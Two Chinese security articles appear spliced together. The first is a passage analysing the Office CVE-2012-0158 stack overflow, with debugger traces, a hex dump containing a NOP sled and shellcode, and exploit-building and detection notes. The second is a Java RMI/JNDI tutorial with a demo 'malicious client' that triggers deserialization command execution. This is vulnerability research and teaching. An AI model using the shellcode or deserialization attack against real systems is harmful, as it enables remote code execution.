0030dc20 6587c40b wwlib!DllCanUnloadNow+0x339ef0
0030ff60 6588699d wwlib!DllCanUnloadNow+0x54e0c9
00310274 6566a206 wwlib!DllCanUnloadNow+0x55865b
003104c4 653eb9c6 wwlib!DllCanUnloadNow+0x33bec4
00310708 6534f93a wwlib!DllCanUnloadNow+0xbd684
00311dd4 64ab25f6 wwlib!DllCanUnloadNow+0x215f8
00312278 64adfe5d wwlib!DllGetClassObject+0x2d9ac
0030a910 0c 00 00 00 ....
ReadLength = 0x4
--------------------------------------------------------------------------------------------------------------
ChildEBP RetAddr
0030a8ec 275c87b8 ole32!CExposedStream::Read [d:\w7rtm\com\ole32\stg\exp\expst.cxx @ 165]
WARNING: Stack unwind information not available. Following frames may be wrong.
0030a914 275c89df MSCOMCTL!DllGetClassObject+0x41a74
0030a948 275e701a MSCOMCTL!DllGetClassObject+0x41c9b
0030a970 275e7361 MSCOMCTL!DLLGetDocumentation+0xd08
0030a990 275ca8b6 MSCOMCTL!DLLGetDocumentation+0x104f
0030aa10 2758aee8 MSCOMCTL!DllGetClassObject+0x43b72
0030aa40 27600908 MSCOMCTL!DllGetClassObject+0x41a4
0030aa54 65642904 MSCOMCTL!DllUnregisterServer+0xc31
0030ab08 64fb2877 wwlib!DllCanUnloadNow+0x3145c2
0030abbc 64f7a003 wwlib!wdCommandDispatch+0x151602
0030ac44 64f238da wwlib!wdCommandDispatch+0x118d8e
0030b0d4 653e91cc wwlib!wdCommandDispatch+0xc2665
0030b168 65668232 wwlib!DllCanUnloadNow+0xbae8a
0030dc20 6587c40b wwlib!DllCanUnloadNow+0x339ef0
0030ff60 6588699d wwlib!DllCanUnloadNow+0x54e0c9
00310274 6566a206 wwlib!DllCanUnloadNow+0x55865b
003104c4 653eb9c6 wwlib!DllCanUnloadNow+0x33bec4
00310708 6534f93a wwlib!DllCanUnloadNow+0xbd684
00311dd4 64ab25f6 wwlib!DllCanUnloadNow+0x215f8
00312278 64adfe5d wwlib!DllGetClassObject+0x2d9ac
0d511db0 43 6f 62 6a 64 00 00 00-82 82 00 00 Cobjd.......
ReadLength = 0xc
--------------------------------------------------------------------------------------------------------------
ChildEBP RetAddr
0030a8ec 275c87ed ole32!CExposedStream::Read [d:\w7rtm\com\ole32\stg\exp\expst.cxx @ 165]
WARNING: Stack unwind information not available. Following frames may be wrong.
0030a914 275c89df MSCOMCTL!DllGetClassObject+0x41aa9
0030a948 275e701a MSCOMCTL!DllGetClassObject+0x41c9b
0030a970 275e7361 MSCOMCTL!DLLGetDocumentation+0xd08
0030a990 275ca8b6 MSCOMCTL!DLLGetDocumentation+0x104f
0030aa10 2758aee8 MSCOMCTL!DllGetClassObject+0x43b72
0030aa40 27600908 MSCOMCTL!DllGetClassObject+0x41a4
0030aa54 65642904 MSCOMCTL!DllUnregisterServer+0xc31
0030ab08 64fb2877 wwlib!DllCanUnloadNow+0x3145c2
0030abbc 64f7a003 wwlib!wdCommandDispatch+0x151602
0030ac44 64f238da wwlib!wdCommandDispatch+0x118d8e
0030b0d4 653e91cc wwlib!wdCommandDispatch+0xc2665
0030b168 65668232 wwlib!DllCanUnloadNow+0xbae8a
0030dc20 6587c40b wwlib!DllCanUnloadNow+0x339ef0
0030ff60 6588699d wwlib!DllCanUnloadNow+0x54e0c9
00310274 6566a206 wwlib!DllCanUnloadNow+0x55865b
003104c4 653eb9c6 wwlib!DllCanUnloadNow+0x33bec4
00310708 6534f93a wwlib!DllCanUnloadNow+0xbd684
00311dd4 64ab25f6 wwlib!DllCanUnloadNow+0x215f8
00312278 64adfe5d wwlib!DllGetClassObject+0x2d9ac
ReadLength = 0x0
--------------------------------------------------------------------------------------------------------------
ChildEBP RetAddr
0030a8ec 275c8786 ole32!CExposedStream::Read [d:\w7rtm\com\ole32\stg\exp\expst.cxx @ 165]
WARNING: Stack unwind information not available. Following frames may be wrong.
0030a914 275c8a0a MSCOMCTL!DllGetClassObject+0x41a42
0030a948 275e701a MSCOMCTL!DllGetClassObject+0x41cc6
0030a970 275e7361 MSCOMCTL!DLLGetDocumentation+0xd08
0030a990 275ca8b6 MSCOMCTL!DLLGetDocumentation+0x104f
0030aa10 2758aee8 MSCOMCTL!DllGetClassObject+0x43b72
0030aa40 27600908 MSCOMCTL!DllGetClassObject+0x41a4
0030aa54 65642904 MSCOMCTL!DllUnregisterServer+0xc31
0030ab08 64fb2877 wwlib!DllCanUnloadNow+0x3145c2
0030abbc 64f7a003 wwlib!wdCommandDispatch+0x151602
0030ac44 64f238da wwlib!wdCommandDispatch+0x118d8e
0030b0d4 653e91cc wwlib!wdCommandDispatch+0xc2665
0030b168 65668232 wwlib!DllCanUnloadNow+0xbae8a
0030dc20 6587c40b wwlib!DllCanUnloadNow+0x339ef0
0030ff60 6588699d wwlib!DllCanUnloadNow+0x54e0c9
00310274 6566a206 wwlib!DllCanUnloadNow+0x55865b
003104c4 653eb9c6 wwlib!DllCanUnloadNow+0x33bec4
00310708 6534f93a wwlib!DllCanUnloadNow+0xbd684
00311dd4 64ab25f6 wwlib!DllCanUnloadNow+0x215f8
00312278 64adfe5d wwlib!DllGetClassObject+0x2d9ac
0030a910 82 82 00 00 ....
ReadLength = 0x4
--------------------------------------------------------------------------------------------------------------
ChildEBP RetAddr
0030a8ec 275c87b8 ole32!CExposedStream::Read [d:\w7rtm\com\ole32\stg\exp\expst.cxx @ 165]
WARNING: Stack unwind information not available. Following frames may be wrong.
0030a914 275c8a0a MSCOMCTL!DllGetClassObject+0x41a74
0030a948 275e701a MSCOMCTL!DllGetClassObject+0x41cc6
0030a970 275e7361 MSCOMCTL!DLLGetDocumentation+0xd08
0030a990 275ca8b6 MSCOMCTL!DLLGetDocumentation+0x104f
0030aa10 2758aee8 MSCOMCTL!DllGetClassObject+0x43b72
0030aa40 27600908 MSCOMCTL!DllGetClassObject+0x41a4
0030aa54 65642904 MSCOMCTL!DllUnregisterServer+0xc31
0030ab08 64fb2877 wwlib!DllCanUnloadNow+0x3145c2
0030abbc 64f7a003 wwlib!wdCommandDispatch+0x151602
0030ac44 64f238da wwlib!wdCommandDispatch+0x118d8e
0030b0d4 653e91cc wwlib!wdCommandDispatch+0xc2665
0030b168 65668232 wwlib!DllCanUnloadNow+0xbae8a
0030dc20 6587c40b wwlib!DllCanUnloadNow+0x339ef0
0030ff60 6588699d wwlib!DllCanUnloadNow+0x54e0c9
00310274 6566a206 wwlib!DllCanUnloadNow+0x55865b
003104c4 653eb9c6 wwlib!DllCanUnloadNow+0x33bec4
00310708 6534f93a wwlib!DllCanUnloadNow+0xbd684
00311dd4 64ab25f6 wwlib!DllCanUnloadNow+0x215f8
00312278 64adfe5d wwlib!DllGetClassObject+0x2d9ac
0d494cd0 00 00 00 00 00 00 00 00-00 00 00 00 30 3c 58 27 ............0<X'
0d494ce0 90 90 90 90 90 90 90 90-fd fc 40 4b f9 4b fc f9 [email protected]..
0d494cf0 f8 fc f5 40 4e 37 93 43-4e 43 47 4e f9 96 3f f9 [email protected]..?.
0d494d00 48 91 37 99 fc 96 48 3f-f8 90 40 2f 91 99 97 43 H.7...H?..@/...C
0d494d10 3f 41 4e 41 d6 41 4b f9-43 fd 9f 2f 40 fd 43 97 ?ANA.AK.C../@.C.
0d494d20 41 27 40 41 40 4e fd 43-f9 92 42 47 97 42 41 49 A'@[email protected]
0d494d30 98 fc 9f 4f fc 98 4b 40-3f fd 4e fd 90 fc 9f 9b ...O..K@?.N.....
0d494d40 41 40 f8 98 f8 90 90 37-4e 4b 9b 49 d6 fc 4a 27 [email protected]'
0d494d50 4e fc 98 47 46 42 4e 98-97 92 f8 f5 4f 93 49 92 N..GFBN.....O.I.
0d494d60 99 46 43 92 93 43 d6 97-4e 43 d6 42 48 92 9f 97 .FC..C..NC.BH...
0d494d70 42 48 f9 93 4e 91 4e 47-fd 9f 41 3f 90 47 4f 47 BH..N.NG..A?.GOG
0d494d80 97 27 47 9f 2f 3f 47 41-4f f5 4f 41 4f f5 47 99 .'G./?GAO.OAO.G.
0d494d90 9b 43 96 3f 98 27 41 4b-96 27 fc 49 93 4b 37 3f .C.?.'AK.'.I.K7?
0d494da0 99 47 d6 fc 92 fd 40 f9-37 37 3f fc 42 99 37 4b [email protected]?.B.7K
0d494db0 41 27 47 27 9b 4a 4f f5-91 3f 9b f5 3f 4e 46 99 A'G'.JO..?..?NF.
0d494dc0 92 37 9b 9f 27 93 fd fd-92 27 90 4f 91 d6 4f 97 .7..'....'.O..O.
0d494dd0 43 2f 9b 43 f5 42 98 43-4f 42 46 91 4b 97 f8 f5 C/.C.B.COBF.K...
0d494de0 41 98 2f f9 49 48 d6 49-4e fd f9 d6 fd 42 43 41 A./.IH.IN....BCA
0d494df0 f5 d6 97 4f 9b 97 eb 04-fc 3f 43 4f 81 c4 54 f2 ...O.....?CO..T.
0d494e00 ff ff da c2 bb 9e a1 b0-8e d9 74 24 f4 5d 33 c9 ..........t$.]3.
0d494e10 b1 30 31 5d 18 83 c5 04-03 5d 8a 43 45 72 5a 01 .01].....].CErZ.
0d494e20 a6 8b 9a 66 2e 6e ab a6-54 fa 9b 16 1e ae 17 dc ...f.n..T.......
0d494e30 72 5b ac 90 5a 6c 05 1e-bd 43 96 33 fd c2 14 4e r[..Zl...C.3...N
0d494e40 d2 24 25 81 27 24 62 fc-ca 74 3b 8a 79 69 48 c6 .$%.'$b..t;.yiH.
0d494e50 41 02 02 c6 c1 f7 d2 e9-e0 a9 69 b0 22 4b be c8 A.........i."K..
0d494e60 6a 53 a3 f5 25 e8 17 81-b7 38 66 6a 1b 05 47 99 jS..%....8fj..G.
0d494e70 65 41 6f 42 10 bb 8c ff-23 78 ef db a6 9b 57 af eAoB....#x....W.
0d494e80 11 40 66 7c c7 03 64 c9-83 4c 68 cc 40 e7 94 45 .@f|[email protected]
0d494e90 67 28 1d 1d 4c ec 46 c5-ed b5 22 a8 12 a5 8d 15 g(..L.F...".....
0d494ea0 b7 ad 23 41 ca ef 29 94-58 8a 1f 96 62 95 0f ff ..#A..).X...b...
0d494eb0 53 1e c0 78 6c f5 a5 77-26 54 8f 1f ef 0c 92 7d S..xl..w&T.....}
0d494ec0 10 fb d0 7b 93 0e a8 7f-8b 7a ad c4 0b 96 df 55 ...{.....z.....U
0d494ed0 fe 98 4c 55 2b fb 13 c5-b7 fc 00 00 00 00 00 00 ..LU+...........
...省略后续部分...
ReadLength = 0x8282
--------------------------------------------------------------------------------------------------------------
ChildEBP RetAddr
0030a8ec 275c87ed ole32!CExposedStream::Read [d:\w7rtm\com\ole32\stg\exp\expst.cxx @ 165]
WARNING: Stack unwind information not available. Following frames may be wrong.
0030a914 275c8a0a MSCOMCTL!DllGetClassObject+0x41aa9
0030a948 27583c30 MSCOMCTL!DllGetClassObject+0x41cc6
00000000 00000000 MSCOMCTL!DllCanUnloadNow+0xc7d
27632368 00 00 ..
ReadLength = 0x2
Tue Dec 19 18:25:45.235 2017 (GMT+8): DLL_PROCESS_DETACH in MSGR3SC.DLL
eax=00000000 ebx=00000000 ecx=00309b24 edx=00000020 esi=77ca7380 edi=77ca7340
eip=77c170f4 esp=00309b74 ebp=00309b90 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
ntdll!KiFastSystemCallRet:
77c170f4 c3 ret
可以看到每次Read的数值如图19所示，图19和前面图17中的注释相对应：
图19
这里引用常熟理工学院乐德广老师的一篇论文《面向RTF的OLE对象漏洞分析研究》中的一幅图来表示此处的数据校验流程(图20)
(原图中有一些小错误，如最后读入的应该是0x0c而不是0x14字节，我这里按照本次样本的实际情况重新画了一下解析流程，另有部分额外的校验未出现在图中)：
图20 Contents数据块的读取校验流程
我们来对照Contents流中的数据看一下具体的读入情况，如图21所示，同的颜色为每次读入的数据，带黄色高亮的为(乐老师)论文中或我在IDA中观察到(可能存在部分遗漏)出现的需要校验的数据，斜体代表数据在代码中有校验，粗体代表读入的是一个长度，随后的数据会根据这个长度进行读入。
图21
分析到这里，我们自然很想看一下一个正常插入的ListView对象所对应的数据应该是什么样？我参考维一零的方式构造了一个正常嵌入ListView对象并生成Cobj对象的doc文档，我们来对比一下漏洞样本和正常样本，如图22所示，紫色为数据校验过程中两者相同的地方，橙色为漏洞样本出问题的长度域。可以看到正常样本中的两个长度域恒为8，但漏洞样本中这两个值被精心构造成了0x8282。
图22
分析到这里已经很清楚了：MSCOMCTL.OCX组件在解析ListView控件的Contents内容时，在某次读入0x8282长度时导致了栈溢出，根据日志中的栈回溯，我们能迅速定位到漏洞发生处，一番排查之后，发现发生溢出的根本原因是因为在sub_489c7函数中将一个小于等于号写成了大于等于号。
在图23中我们可以看到，sub_489c7函数首先分配了0x14的栈空间大小用于存储局部变量，在489DA处，它调用CExposedStream::Read函数读入了0x0C字节的数据，随后在489E6处将读入的前4个字节[ebp-14h]与“CObj”作比较，以校验读入的是否为Cobj对象的数据，通过校验后，它将读入的最后4字节[ebp-0Ch]与8作比较，如果小于(jb)，则随绿色线跳转，否则随红色线跳转，在IDA中一眼可以看出随红色线跳转后就是调用ReadBytesFromStreanPadded函数读入数据，数据长度可由构造者提供。按照函数导言中开辟栈变量的语句，很明显这里的jb写反了，反映到C++代码中就是错将一个小于等于号写成了大于等于号，如图24所示。
图23
图24
综上所述，这个漏洞的根本原因在于MSCOMCTL.OCX在解析ListView(当然，不止这一个控件)的“Contents”流时，在经过层层校验后读入“CObj”对象的数据时(从图20中可以发现，漏洞触发前的数据校验不可谓不多)，在最后的长度校验中因为不小心将小于等于号写成了大于等于号而导致的一处栈溢出。这是一个非常低级的错误。这个漏洞通过常规的数据畸变Fuzz很难发现，因为构造数据时既不知道要保证前后两处的长度相等，又容易因字节数据错位而通不过校验。微软在产品发布前的测试中没有发现这个漏洞，是非常不应该的，因为这个漏洞的最好发现方式就是通过Code
Review。在早前版本的符号包中，微软其实给了MSCOMCTL.OCX模块的的符号文件，所以第三方是可以通过加载符号表后进行Code
Review来发现这个漏洞。具体是什么原因导致和发现了这个漏洞，我们不得而知。
## 利用编写
关于这个漏洞的利用构造，维一零已经在他的文章中写的很详细了，我跟着他的流程做了一遍，doc/rtf/xls/docx格式都可以这种方式弹出计算器，其他几种格式我遇到了一些小问题，这里就不过多描述了，有兴趣的人可以看一下他个人博客的《CVE-2012-0158（ms12-027）漏洞分析与利用》，也可以看他发在安全客上的《手把手教你如何构造office漏洞EXP（第一期）》，其中个人博客上那篇写得更为详细，而且文末有附件，附件里面有VBA代码和MSCOMCTL的符号文件。
我这里解释一下他文章里面关于删除宏代码的一段话，因为有的读者可能并不了解背后的原理：
“…一个简单的解决办法就是先写好代码编译运行后生成了初始化好的ListView控件，再把所有的生成代码删除后保存即可，因为宏代码会被阻止执行控件对象不会被阻止解析。”
为什么在编译完宏代码后可以删除代码呢？
原来，office文件中的宏代码有三种模式，分别是“Source code”、“ P-code”和“Execodes”。其中Source
code就是VBA源码，也就是我们写在开发界面上的代码，但在实际运行过程中，大部分时候根本不会用到这些Source
code，不仅没什么作用，还容易被第三方工具检测抽取。所以删除它们并不会对宏的执行造成什么影响。“P-Code”有点中间代码的意思，当VBA代码被写入时，会立即被编译成一种堆栈机上的伪代码，即“P-Code”。大部分时候，office都是在执行这些代表宏的伪代码，只有当文档在一个和创建它的VBA引擎版本不相同的office软件上打开的时候，P-Code才需要被重新编译一遍，换句话说，P-Code是VBA引擎相关的。在P-Code至少被执行一次之后，会生成Execodes，它们会被存储在一个__SRP_开头的流内部。但由于Execodes在每个office版本上都不一样，所以非常难以移植，而且它们也几乎不会被用到。但是Execodes有一个好处：在取证时可以看到当前宏文档的是否是基于上一个模板修改而成的，因为__SRP_可能还存着上次P-Code编译后生成的数据。关于这方面的知识可以参考这个网页：<https://github.com/bontchev/pcodedmp>。
此外也可以脱离Word进程构造，像metasploit一样，用脚本文件组织rtf和ole的数据，但如果自己构造，需要对ole格式非常了解，这里也不做赘述，直接来个弹出后的计算器吧(图25)(word进程在计算器弹出后已经退出)：
图25
## 防御与检测
静态方面，这个漏洞可以通过扫描CLSID或控件名的方式来检测；动态方面，由于是栈溢出漏洞，只需在图23中，在读入长度值后与8比较前做一下对比即可，长度值大于0x08的即视为触发漏洞。
## 总结
最后，我们以CVE-2012-0158漏洞为起点，对最近几年的office漏洞做一个总结：
1. CVE-2012-0158这个漏洞属于OLE(对象嵌入与链接)里面的“嵌入”，与之相同的有CVE-2014-4114/CVE-2014-6352,CVE-2017-11882等；与之对应的有CVE-2017-0199，CVE-2017-8759等，这两个属于“链接”。
2. CVE-2012-0158这个漏洞属于ActiveX控件漏洞，漏洞原因为栈溢出；ActiveX控件方面的其他漏洞类型还有如CVE-2012-1856(UAF)等。
3. 近几年出现一些利用其它组件在office内触发的漏洞，如CVE-2013-3906(TIFF图像解析漏洞)，又如CVE-2015-2545/CVE-2017-0261/CVE-2017-0262(EPS文件解析漏洞)，再如CVE-2017-8759(.NET注入漏洞)。
4. flash文件也可以作为ActiveX控件嵌入office文档，近几年著名的flash 0day攻击如CVE-2011-0609，CVE-2012-0754，CVE-2013-0634，CVE-2015-5119/CVE-2015-5122，CVE-2016-4117，还有今年下半年的CVE-2017-11292，都曾以嵌入在office文档中的形式出现在网络攻击行动中。
5. 除常规漏洞外，office最近还出现了一些bypass各种防御措施的逻辑漏洞，如著名的沙虫漏洞CVE-2014-4114/CVE-2014-6352，低调的CVE-2015-0097，还有今年很火的CVE-2017-0199。
6. 大多数office漏洞都可以以rtf格式为载体，所以在针对rtf类型时需要尤其注意
7. 2017年共公布了6个office的或者和office相关联的0day，分别是：CVE-2017-0199，CVE-2017-0261，CVE-2017-0262，CVE-2017-8759，CVE-2017-11826和CVE-2017-11292(嵌入在office文档中)。此外，作为1day的CVE-2017-11882最近用的也比较频繁。
8. 最后是office的高级利用方式，如EPS的三个漏洞：CVE-2015-2545/CVE-2017-0261/CVE-2017-0262,还有RTF解析的两个漏洞：CVE-2014-1761，CVE-2016-7193。我们在感慨攻击者对EPS和RTF文件格式的了解程度之余，也只能继续默默努力。
明年是否会有更多更精彩的office漏洞出现？我们拭目以待。
## 参考链接
Haifei Li && Bing Sun 《Attacking Interoperability》
<https://www.blackhat.com/docs/us-15/materials/us-15-Li-Attacking-Interoperability-An-OLE-Edition.pdf>
Microsoft 《IStorage::OpenStream method》 <https://msdn.microsoft.com/en-us/library/windows/desktop/aa380025(v=vs.85).aspx>
维一零《CVE-2012-0158（ms12-027）漏洞分析与利用》
<https://weiyiling.cn/one/cve_2012_0158_ms12-027>
维一零《手把手教你如何构造office漏洞EXP（第一期）》 <http://bobao.360.cn/learning/detail/3003.html>
乐德广《面向RTF的OLE对象漏洞分析研究》 <http://www.infocomm-journal.com/cjnis/CN/abstract/abstract156911.shtml>
Bontchev 《A VBA p-code disassembler：Introduction》
<https://github.com/bontchev/pcodedmp> | 社区文章 |
**作者：Longofo@知道创宇404实验室**
**时间：2019年11月4日**
之前看了SHIRO-721这个漏洞，然后这个漏洞和SHIRO-550有些关联，在SHIRO-550的利用方式中又看到了利用ysoserial中的JRMP
exploit，然后又想起了RMI、JNDI、LDAP、JMX、JMS这些词。这些东西也看到了几次，也看过对应的文章，但把他们联想在一起时这些概念又好像交叉了一样容易混淆。网上的一些资料也比较零散与混乱，所以即使以前看过，没有放在一起看的话很容易混淆。下面是对RMI、JNDI、LDAP、JRMP、JMX、JMS一些资料的整理。
**注** ：这篇先写了RMI、JNDI、LDAP的内容，JRMP、JMX、JMS下篇再继续。文章很长，阅读需要些耐心。
### 测试环境说明
* 文中的测试代码放到了[github](https://github.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms)上
* 测试代码的JDK版本在文中会具体说明，有的代码会被重复使用，对应的JDK版本需要自己切换
### RMI
在看下以下内容之前，可以阅读下[这篇文章](https://www.oreilly.com/library/view/learning-java/1565927184/ch11s04.html)[1]，里面包括了Java RMI相关的介绍，包括对Java
RMI的简介、远程对象与非远程对象的区别、Stubs与skeletons、远程接口、UnicastRemoteObject类、RMI注册表、RMI动态加载等内容。
#### Java RMI
远程方法调用是分布式编程中的一个基本思想。实现远程方法调用的技术有很多，例如CORBA、WebService，这两种是独立于编程语言的。而Java
RMI是专为Java环境设计的远程方法调用机制，远程服务器实现具体的Java方法并提供接口，客户端本地仅需根据接口类的定义，提供相应的参数即可调用远程方法并获取执行结果，使分布在不同的JVM中的对象的外表和行为都像本地对象一样。
在[这篇文章](https://paper.seebug.org/1012/)[2]中，作者举了一个例子来描述RMI：
假设A公司是某个行业的翘楚，开发了一系列行业上领先的软件。B公司想利用A公司的行业优势进行一些数据上的交换和处理。但A公司不可能把其全部软件都部署到B公司，也不能给B公司全部数据的访问权限。于是A公司在现有的软件结构体系不变的前提下开发了一些RMI方法。B公司调用A公司的RMI方法来实现对A公司数据的访问和操作，而所有数据和权限都在A公司的控制范围内，不用担心B公司窃取其数据或者商业机密。
对于开发者来说，远程方法调用就像我们本地调用一个对象的方法一样，他们很多时候不需要关心内部如何实现，只关心传递相应的参数并获取结果就行了。但是对于攻击者来说，要执行攻击还是需要了解一些细节的。
**注** ：这里我在RMI前面加上了Java是为了和Weblogic
RMI区分。Java本身对RMI规范的实现默认使用的是JRMP协议，而Weblogic对RMI规范的实现使用T3协议，Weblogic之所以开发T3协议，是因为他们需要可扩展，高效的协议来使用Java构建企业级的分布式对象系统。
**JRMP** ：Java Remote Message Protocol ，Java 远程消息交换协议。这是运行在Java
RMI之下、TCP/IP之上的线路层协议。该协议要求服务端与客户端都为Java编写，就像HTTP协议一样，规定了客户端和服务端通信要满足的规范。
##### Java RMI远程方法调用过程
**几个tips** ：
1. RMI的传输是基于反序列化的。
2. 对于任何一个以对象为参数的RMI接口，你都可以发一个自己构建的对象，迫使服务器端将这个对象按任何一个存在于服务端classpath（不在classpath的情况，可以看后面RMI动态加载类相关部分）中的可序列化类来反序列化恢复对象。
使用远程方法调用，会涉及参数的传递和执行结果的返回。参数或者返回值可以是基本数据类型，当然也有可能是对象的引用。所以这些需要被传输的对象必须可以被序列化，这要求相应的类必须实现
java.io.Serializable 接口，并且客户端的serialVersionUID字段要与服务器端保持一致。
在JVM之间通信时，RMI对远程对象和非远程对象的处理方式是不一样的，它并没有直接把远程对象复制一份传递给客户端，而是传递了一个远程对象的Stub，Stub基本上相当于是远程对象的引用或者代理（Java
RMI使用到了代理模式）。Stub对开发者是透明的，客户端可以像调用本地方法一样直接通过它来调用远程方法。Stub中包含了远程对象的定位信息，如Socket端口、服务端主机地址等等，并实现了远程调用过程中具体的底层网络通信细节，所以RMI远程调用逻辑是这样的：
从逻辑上来说，数据是在Client和Server之间横向流动的，但是实际上是从Client到Stub，然后从Skeleton到Server这样纵向流动的：
1. Server端监听一个端口，这个端口是JVM随机选择的；
2. Client端并不知道Server远程对象的通信地址和端口，但是Stub中包含了这些信息，并封装了底层网络操作；
3. Client端可以调用Stub上的方法；
4. Stub连接到Server端监听的通信端口并提交参数；
5. 远程Server端上执行具体的方法，并返回结果给Stub；
6. Stub返回执行结果给Client端，从Client看来就好像是Stub在本地执行了这个方法一样；
**怎么获取Stub呢？**
假设Stub可以通过调用某个远程服务上的方法向远程服务来获取，但是调用远程方法又必须先有远程对象的Stub，所以这里有个死循环问题。JDK提供了一个RMI注册表（RMIRegistry）来解决这个问题。RMIRegistry也是一个远程对象，默认监听在传说中的1099端口上，可以使用代码启动RMIRegistry，也可以使用rmiregistry命令。
使用RMI Registry之后，RMI的调用关系应该是这样的：
所以从客户端角度看，服务端应用是有两个端口的，一个是RMI
Registry端口（默认为1099），另一个是远程对象的通信端口（随机分配的），通常我们只需要知道Registry的端口就行了，Server的端口包含在了Stub中。RMI
Registry可以和Server端在一台服务器上，也可以在另一台服务器上，不过大多数时候在同一台服务器上且运行在同一JVM环境下。
##### 模拟Java RMI利用
我们使用下面的例子来模拟Java RMI的调用过程并执行攻击：
1.创建服务端对象类，先创建一个接口继承`java.rmi.Remote`
//Services.java
package com.longofo.javarmi;
import java.rmi.RemoteException;
public interface Services extends java.rmi.Remote {
String sendMessage(Message msg) throws RemoteException;
}
2.创建服务端对象类，实现这个接口
//ServicesImpl.java
package com.longofo.javarmi;
import java.rmi.RemoteException;
public class ServicesImpl implements Services {
public ServicesImpl() throws RemoteException {
}
@Override
public String sendMessage(Message msg) throws RemoteException {
return msg.getMessage();
}
}
3.创建服务端远程对象骨架skeleton并绑定在Registry上
//RMIServer.java
package com.longofo.javarmi;
import java.rmi.RMISecurityManager;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
public class RMIServer {
/**
* Java RMI 服务端
*
* @param args
*/
public static void main(String[] args) {
try {
// 实例化服务端远程对象
ServicesImpl obj = new ServicesImpl();
// 没有继承UnicastRemoteObject时需要使用静态方法exportObject处理
Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);
Registry reg;
try {
//如果需要使用RMI的动态加载功能，需要开启RMISecurityManager，并配置policy以允许从远程加载类库
System.setProperty("java.security.policy", RMIServer.class.getClassLoader().getResource("java.policy").getFile());
RMISecurityManager securityManager = new RMISecurityManager();
System.setSecurityManager(securityManager);
// 创建Registry
reg = LocateRegistry.createRegistry(9999);
System.out.println("java RMI registry created. port on 9999...");
} catch (Exception e) {
System.out.println("Using existing registry");
reg = LocateRegistry.getRegistry();
}
//绑定远程对象到Registry
reg.rebind("Services", services);
} catch (RemoteException e) {
e.printStackTrace();
}
}
}
4.创建恶意客户端
package com.longofo.javarmi;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient {
/**
* Java RMI恶意利用demo
*
* @param args
* @throws Exception
*/
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry();
// 获取远程对象的引用
Services services = (Services) registry.lookup("rmi://127.0.0.1:9999/Services");
PublicKnown malicious = new PublicKnown();
malicious.setParam("calc");
malicious.setMessage("haha");
// 使用远程对象的引用调用对应的方法
System.out.println(services.sendMessage(malicious));
}
}
上面这个例子是在[CVE-2017-3241分析](https://www.freebuf.com/vuls/126499.html)[3]中提供代码基础上做了一些修改，完整的测试代码已经放到[github](https://github.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms)上了，先启动RMI Server端`java-rmi-server/src/main/java/com/longofo/javarmi/RMIServer`，在启动RMI客户端`java-rmi-client/src/main/java/com/longofo/javarmi/RMIClient`就可以复现，在JDK 1.6.0_29测试通过。
在ysoserial中的RMIRegistryExploit提供另一种思路，利用其他客户端也能向服务端的Registry注册远程对象的功能，由于对象绑定时也传递了序列化的数据，在Registry端（通常和服务端在同一服务器且处于同一JVM下）会对数据进行反序列化处理，RMIRegistryExploit中使用的CommonsCollections1这个payload，如果Registry端也存在CommonsCollections1这个payload使用到的类就能恶意利用。对于一些CommonsCollections1利用不了的情况，例如CommonsCollections1中相关利用类被过滤拦截了，也还有其他例如结合JRMP方式进行利用的方法，可以参考下这位作者的[思路](http://www.codersec.net/2018/09/%E4%B8%80%E6%AC%A1%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91rmi%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%B7%B1%E6%80%9D/)。
**这里还需要注意这时Server端是作为RMI的服务端而成为受害者，在后面的RMI动态类加载或JNDI注入中可以看到Server端也可以作为RMI客户端成为受害者**
。
上面的代码假设RMIServer就是提供Java RMI远程方法调用服务的厂商，他提供了一个Services接口供远程调用；
在客户端中，正常调用应该是`stub.sendMessage(Message)`，这个参数应该是Message类对象的，但是我们知道服务端存在一个公共的已知PublicKnown类（比如经典的Apache
Common
Collection，这里只是用PublicKnown做一个类比），它有readObject方法并且在readObject中存在命令执行的能力，所以我们客户端可以写一个与服务端包名，类名相同的类并继承Message类(Message类在客户端服务端都有的)，根据上面两个Tips，在服务端会反序列化传递的数据，然后到达PublicKnown执行命令的地方（这里需要注意的是服务端PublicKnown类的serialVersionUID与客户端的PublicKnown需要保持一致，如果不写在序列化时JVM会自动根据类的属性等生成一个UID，不过有时候自动生成的可能会不一致，不过不一致时，Java
RMI服务端会返回错误，提示服务端相应类的serialVersionUID，在本地类重新加上服务端的serialVersionUID就行了）：
上面这个错误也是从服务端发送过来的，不过不要紧，命令在出现错误之前就执行了。
来看下调用栈，我们在服务端的PublicKnown类中readObject下个断点，
从`sun.rmi.server.UnicastRef`开始调用了readObject，然后一直到调用PublicKnown类的readObject
抓包看下通信的数据：
可以看到PublicKnown类对象确实被序列化传递了，通信过程全程都有被序列化的数据，那么在服务端也肯定会会进行反序列化恢复对象，可以自己抓包看下。
#### Java RMI的动态加载类
**java.rmi.server.codebase**
：`java.rmi.server.codebase`属性值表示一个或多个URL位置，可以从中下载本地找不到的类，相当于一个代码库。代码库定义为将类加载到虚拟机的源或场所，可以将`CLASSPATH`视为“本地代码库”，因为它是磁盘上加载本地类的位置的列表。就像`CLASSPATH`"本地代码库"一样，小程序和远程对象使用的代码库可以被视为"远程代码库"。
RMI核心特点之一就是动态类加载，如果当前JVM中没有某个类的定义，它可以从远程URL去下载这个类的class，动态加载的class文件可以使用http://、ftp://、file://进行托管。这可以动态的扩展远程应用的功能，RMI注册表上可以动态的加载绑定多个RMI应用。对于客户端而言，如果服务端方法的返回值可能是一些子类的对象实例，而客户端并没有这些子类的class文件，如果需要客户端正确调用这些
**子类**
中被重写的方法，客户端就需要从服务端提供的`java.rmi.server.codebase`URL去加载类；对于服务端而言，如果客户端传递的方法参数是远程对象接口方法参数类型的
**子类**
，那么服务端需要从客户端提供的`java.rmi.server.codebase`URL去加载对应的类。客户端与服务端两边的`java.rmi.server.codebase`URL都是互相传递的。无论是客户端还是服务端要远程加载类，都需要满足以下条件：
